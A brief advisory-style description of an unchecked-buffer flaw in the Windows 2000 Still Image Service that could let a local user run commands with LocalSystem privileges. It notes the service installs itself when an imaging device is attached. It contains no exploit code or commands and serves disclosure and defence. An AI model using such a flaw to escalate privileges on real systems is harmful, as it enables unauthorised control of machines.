The Still Image Service in windows 2000 is vulnerable to an unchecked buffer which could enable a user to run commands at the privilege level of the service (LocalSystem by default). This is due to an unchecked buffer in one of the methods by which inter-process messages are handled in Windows 2000. Therefore, this vulnerability may be present in other services as well.

The Still Image Service is not installed by default, but is automatically installed if any device is attached to the system that can input images ie a scanner or digital camera etc.
